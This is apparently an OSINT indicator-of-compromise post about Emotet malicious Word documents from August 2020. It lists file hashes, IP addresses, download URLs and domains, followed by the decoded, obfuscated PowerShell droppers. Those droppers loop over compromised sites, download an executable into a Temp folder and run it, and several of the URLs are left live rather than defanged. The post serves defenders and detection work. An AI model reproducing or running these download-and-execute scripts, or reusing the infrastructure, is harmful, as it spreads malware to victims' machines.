Emotet_Doc_out_2020-08-28_01_03.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
74a64df9727b625239f29d81a8f268940c327f6da3fd109d717d6a24a5c066f9
8b2913bd0d496c2ddee3d882e6beca79b084016be7fa9cce5bce003acbc9aeb5
ef53b5660915cd10da7b8564b212dd3dc3c96526857149f0cda0ae180b58a0ad
d0b9665315063e743dc96f2d64974b38368b7e391aefd8f51225bd31eaf8f203
92edabdfafbef478611378e867cb3f462fa7f5ac106a8f0d5045627d04c4c00f
2e47d09470c5d38fdff27c4dc1e6a701283aa5612fec579c5c25e53bfd4705e7
70bc2a3ce1968437f2a3dbb114e000c23bc3882e53d4b963cf326ff03b84487d
7dc0a6093d70ccee91389c1ad23fb90c465444cb47b4af89f487c4769fc039d9
c48f047235aef5e47fa8fdbe08dc7b9c9bf5625f22e2e5c48bd9cf09dbe31d27
59102c908645acebebbe3a0565e89b326f3ae44dd1f0babf9d10a47a01e1b46f
02ad15d0940297e9db6319cbda68c3a365d184c807375181a97a420335a8a667
1ad8629eeb90b911a09983b8e258b68e53315883d1d743dbb1c343737811fab3
38923432e3f3c288a95ad269e276d83fc311457e325def95858c499997a5e00e
6dc1fb576692231c12eaedeb19d6f481586673ad6666e1bfddebd6e0a8a3a748
545691b412ebad37c821720382a253d79c13e01fd207f6545c6e7e12bccda994
9aa50c5b73758bc856e8457c181b159099dcd5dd98c31b8f1c2b5ba3f95fc96d
13838aa29674df0931020702d63159c97fea6d1e993a0995d5283ec0bb6107cb
1f7ed0ccd130a0b63ad568b735ad629f439919389015594a0a8c62b9f7e2460f
53c00dce9f2c52d3c86f5dd33d1554478edd1f1fa7f4c1e0d538c2b0e11cb049
0baf1456aa42654de1b1976f5c3bb88aa2475959a45911508d258b363ba9936d
b0e91aa506315911b2252130d36d0e0e97ca2a411eea39f6dc77e290e36f0094
5ed03df6a3535b20645e72e6658a0bcdc994e14ce0fa8f4e28bfb4af4068e336
07845f8465a4a5d3ef97989ccdfdc4d1c8fd9d63b93b1776f0bfce52c65b60c3
019eca32f2e6063453680e00444c3f3053b67e2b6bca3bb942bb09a06071294b
b13caa92cd6f010bb841c25d79b05a62032f43c8865547930ea1f70517d15876
0de572aafacad32a8b3383b5e2e066bdc20c1a40145ab05c14f4e2accc20b505
442c6c1b3552629189583ebf544309cedac07108c44417b823a74dcda644cd8a
72a047a55409445c1767467b0e67391b0fbdb99be5b2e6a5457df52c7e2ef398
b196cb7d02828aaaff50bc1a6d2399bbfd48b257f524e55e23d7f3fb2097842f
0e4adc50636fda4fc40782e1f53a1b5de460705ff3a250bc7c52baa5ccaf1563
ccbec7c415a115075ab4ecf2249d256febfc1e2801884c31156837c8a3e5f8d6
c09f7d7e6108a2c2d3e24fdf6d75f2b581624a58e7b88096f2397c4bbabdda30
9a2ef8c338c7c6c6ba07a2395d6f0bcc376f1b6df6cb7ebdc96e8e87601f2670
be05ff271ea7042c2e01c9daa7f63ee9dd190864d23716b22f83561e1cb4ae3b
ec78cbf6278812257753c0ebc989d65cf20612d146bc711a99ea31ab224852c4
daebb45ddbff2a5df1ac4d56dfb152003b95e863c4bf75c94047ccd143d7133f
be9a9b02017ae0b09a708b449b8b2d4cf25f95cbb9414bdac2476ecca54837e2
204115442a8ae42c075535695650219867d562ee5a9a9cc37e178f8d15d23f31
49b0709d22536eb3ddbf6b3468a63cb48491a014a7895436ceed6e3749888f5e
25abdb7dc1a29dfe13ce9b9474572abff423bb8d1eeaf7bf03d20952185000bb
37fa0ea3d432a88404404ad377504c7f2758e6dd415ea28555abb945e4a86249


IPs:
104.18.44.72
104.18.45.72
104.27.170.21
104.27.171.21
104.27.172.119
104.27.173.119
104.27.186.175
107.189.1.87
119.76.191.158
138.128.167.226
150.95.212.229
165.227.2.7
172.67.137.210
172.67.146.60
173.231.247.152
174.138.184.34
175.45.184.161
185.223.95.54
190.4.193.174
192.130.146.153
192.145.232.223
192.185.136.238
198.71.233.214
207.174.213.181
207.210.229.77
209.141.38.41
212.83.171.80
213.128.76.163
213.202.225.111
216.244.91.100
217.160.253.87
217.172.77.106
23.227.186.26
35.238.216.189
45.32.103.34
45.86.64.239
45.86.74.115
46.252.156.93
47.240.49.225
51.195.76.205
64.40.126.65
67.227.144.20
67.23.226.189
67.23.254.6
72.14.187.180
78.142.208.117
91.189.114.24



URLs:
hxxp://caesarmoving.com/wp-content/9s/
hxxps://kinepremins.cl/wp-admin/6wr/
hxxp://dolphininsight.it/wp-includes/LVf/."SPl`It"[char]42;
hxxp://pizzaherbs.com.pk/pjqbq/XnPgtdPPN/."S`pLIT"[char]42;
hxxp://glassesnepal.com/gxlaf/j/
hxxp://propertywatch.ng/alfacgiapi/K5/
hxxp://91madou.xyz/r3es/nle/
hxxp://pemnas.ub.ac.id/wp-content/reUfk5i84877332/."spL`iT"[char]42;
hxxp://votesteve.us/closed_zone/qxbdiC/


Domains:
caesarmoving.com
kinepremins.cl
dolphininsight.it
pizzaherbs.com.pk
glassesnepal.com
propertywatch.ng
91madou.xyz
pemnas.ub.ac.id
votesteve.us


Decoded Base64 Powershell:
$Auj0pbm=O6l92fc;
&new-item $ENv:Temp\WORD\2019\ -itemtype DirecToRY;
[Net.ServicePointManager]::"sE`CUrIT`YpROToCOl" = tls12, tls11, tls;
$Oddxqgp = O1jp0j;
$Qjy_pij=X39s0v2;
$Hlttecc=$env:temp{0}word{0}2019{0}  -f [chaR]92$Oddxqgp.exe;
$F05_k3e=Kbcb19_;
$Wket1s4=&new-object neT.WEbcLIent;
$Smyttl7=hxxps://dadieroque.com/wp-admin/dg/
https://sulselekspres.com/cgi-bin/6l0nyO/
https://maulanarumifoundation.com/RumiFoundation/Q9etF/
hxxps://kelas.yec.co.id/srjns/B/
hxxp://caesarmoving.com/wp-content/9s/
hxxps://kinepremins.cl/wp-admin/6wr/
hxxp://dolphininsight.it/wp-includes/LVf/."SPl`It"[char]42;
$Tgxz2c9=H2of4xd;
foreach$Cgctt61 in $Smyttl7{try{$Wket1s4."d`OWnl`oaD`FiLE"$Cgctt61, $Hlttecc;
$V2arfke=Dovnfho;
If &Get-Item $Hlttecc."le`NGtH" -ge 39850 {.Invoke-Item$Hlttecc;
$T240cig=Izuo0r3;
break;
$Qi08tbr=Tunrund}}catch{}}$Knc8ls3=Wq5wurg$Ib9j0bx=Mlhm11j;
&new-item $ENv:temp\WorD\2019\ -itemtype DiRECtORy;
[Net.ServicePointManager]::"sE`curIT`ypR`OT`oCoL" = tls12, tls11, tls;
$Mrhedcz = N3tnr9z;
$Zrwrsgl=Ffdppmd;
$O1pr73r=$env:tempXiqwordXiq2019Xiq."REpl`AcE"Xiq,\$Mrhedcz.exe;
$B00vvel=F8wmum7;
$Rd5cc8p=.new-object neT.WeBcLiENt;
$Upsd9zl=http://somosdrucken.com/upload/GGQL96W/
http://www.vedigitize.com/wp-includes/l9K6YJ/
hxxp://www.sosyalben.org/hpKTnb/
http://www.sutomoresmestaj.net/menu/E/
hxxp://www.traveltoharamain.com/cgi-bin/b/
http://www.thinkdesign4u.com/css/Rtc1/
https://www.mwk-bionik.de/fileadmin/vOJ/."Sp`lit"[char]42;
$J9kspg0=Z2evx57;
foreach$N8rpqnv in $Upsd9zl{try{$Rd5cc8p."dOw`NlOA`dfilE"$N8rpqnv, $O1pr73r;
$Rals0ep=E7jwv_7;
If .Get-Item $O1pr73r."lE`NGth" -ge 37564 {.Invoke-Item$O1pr73r;
$Sbrbwd8=Rv5_1eo;
break;
$Lyubnpj=Lmt9m2_}}catch{}}$Gl84ofb=Krltv6p$Pdv2n9h=Exz29i5;
&new-item $EnV:temp\WORd\2019\ -itemtype dIrectoRY;
[Net.ServicePointManager]::"SEc`UrItYpR`oT`O`cOL" = tls12, tls11, tls;
$Bjb89vy = Srbah3eyt;
$Fem0spn=Sm1_8fv;
$B32j1og=$env:temp{0}word{0}2019{0}-f [cHAR]92$Bjb89vy.exe;
$Bdzq85q=Erty15_;
$Dq2e40a=&new-object NeT.weBcLIEnT;
$Bzrjon6=hxxp://solution.seeedstudio.com/tag/FNLFibbOyHa/
https://dangkyinternetviettel.shop/wp-admin/anSiIxw/
https://firstresponsecpr.com/alfacgiapi/hNBmlles94w163/
http://literadiocebu.com/vhvjt/aycx52bqm330139/
hxxp://latestmoviesbox.com/wp-includes/uwap2390/
http://arya-co.com/wp-includes/lIaWADd/
hxxp://pizzaherbs.com.pk/pjqbq/XnPgtdPPN/."S`pLIT"[char]42;
$F21c0ie=Jlsrd1u;
foreach$Aaulql2 in $Bzrjon6{try{$Dq2e40a."dOWNLO`Ad`Fi`LE"$Aaulql2, $B32j1og;
$L31a_d1=Re3b818;
If .Get-Item $B32j1og."LE`NgTH" -ge 37915 {.Invoke-Item$B32j1og;
$U3fpsr5=Lcwl0er;
break;
$Qi0d09e=Jo5rcoy}}catch{}}$Pek0or8=Xbuaeb2$Qi9i7bo=M_fpaia;
.new-item $enV:TEmP\wORd\2019\ -itemtype DiRECtory;
[Net.ServicePointManager]::"sEC`U`RITYP`ROtO`col" = tls12, tls11, tls;
$Tqtyexc = Wn9hhuf7;
$T_80kyx=Vb8ybbu;
$Ptkxo5x=$env:tempgVxwordgVx2019gVx."REpla`Ce"gVx,\$Tqtyexc.exe;
$Qfoyibt=Z42z7fc;
$Dflt1rg=&new-object Net.wEbcLIEnt;
$Rn41mr0=http://banglagoogle.com/wp-admin/o3H7uE5/
hxxp://glassesnepal.com/gxlaf/j/
hxxp://propertywatch.ng/alfacgiapi/K5/
hxxps://cleanwaterarizona.com/wp-content/OQ8/
hxxp://91madou.xyz/r3es/nle/
hxxps://themedicann.com/wp-content/OWxv/
https://maflare.com/wp-includes/mNwd/."S`pLit"[char]42;
$Btfcszh=Nlhge75;
foreach$Hgfyfvk in $Rn41mr0{try{$Dflt1rg."DoWN`Lo`AD`FiLe"$Hgfyfvk, $Ptkxo5x;
$Jcuo2hs=Lr_s99i;
If &Get-Item $Ptkxo5x."leN`gTh" -ge 33425 {&Invoke-Item$Ptkxo5x;
$Vwt8sw0=Bf96mlc;
break;
$Kl4vyn6=Lwaz1ov}}catch{}}$Nhlkkq8=Prycv6e$U4kvfam=Fnf34vb;
.new-item $env:TeMP\WOrd\2019\ -itemtype diRecToRy;
[Net.ServicePointManager]::"s`eC`UriTYprOt`O`COL" = tls12, tls11, tls;
$Yola4il = K073c59;
$Nrlfpib=Dgwe3vq;
$T663e0g=$env:tempf3cwordf3c2019f3c."reP`LaCE"[CHaR]102[CHaR]51[CHaR]99,\$Yola4il.exe;
$Nju34o0=I9w6nt5;
$Lvuww9v=&new-object neT.WEbclIeNt;
$Zyjjt1i=http://www.novachem.com.tr/wp-includes/file/HDSTwTon/
hxxp://hdfilmkurdu.tk/fwecj/w5ghXyxtzp63449/
http://retrocycle.cc/wp-content/Ulgocr0611/
https://pc-a.co.th/wp-admin/3cu5a279445382/
hxxps://novavitta.com.br/site/sdxrk4616/
http://miniessay.net/wp-includes/YhhuqdBFmjcZ/
hxxp://pemnas.ub.ac.id/wp-content/reUfk5i84877332/."spL`iT"[char]42;
$Widyzhh=Icxx09v;
foreach$Iqco9cg in $Zyjjt1i{try{$Lvuww9v."dOW`Nlo`AdFIle"$Iqco9cg, $T663e0g;
$Nfk5jgj=N04rwg1;
If .Get-Item $T663e0g."lEN`gTH" -ge 32061 {&Invoke-Item$T663e0g;
$Qjus4bl=Oq12mpp;
break;
$Umija11=Ze2o1of}}catch{}}$Aklzbm1=Y311tng$Ys3jht6=Q5y1y61;
.new-item $env:teMP\WORd\2019\ -itemtype DiREcTORy;
[Net.ServicePointManager]::"Se`CuRiTYPro`T`OCoL" = tls12, tls11, tls;
$Qnqpaa9 = Eqq0yts;
$F3l05wt=Q5hqhnq;
$Tao9_1g=$env:temp17Qword17Q201917Q."r`E`pLace"[CHaR]49[CHaR]55[CHaR]81,[sTRINg][CHaR]92$Qnqpaa9.exe;
$Dwlfcrg=Q0iuu08;
$L4eg0br=&new-object neT.wEBClIeNT;
$Anx9lka=hxxp://olli-f.de/Sicherung/KqozuDTx/
hxxp://legend.nu/personal-disk/WFEYeUeMIX/
hxxp://trainings.smartscape.eu/wp-admin/aq6040qlhh15069/
http://luroi.com/cgi-bin/T15o3n9958553/
https://susadosa.com/images/16Ygc3x700bapt3237/
hxxp://votesteve.us/closed_zone/qxbdiC/
http://www.jimenezabogados.mx/Firmas/ZgCilIFHWHZqy/."SP`LiT"[char]42;
$Arcqh80=I4d5xjk;
foreach$Wupe0_x in $Anx9lka{try{$L4eg0br."downLO`A`dF`ilE"$Wupe0_x, $Tao9_1g;
$Ai5chmi=Pum7n0l;
If .Get-Item $Tao9_1g."L`En`gTh" -ge 32973 {&Invoke-Item$Tao9_1g;
$Uq2laaj=H5konen;
break;
$Lumf5gy=I6xvdzn}}catch{}}$L765tr_=Op9s0mi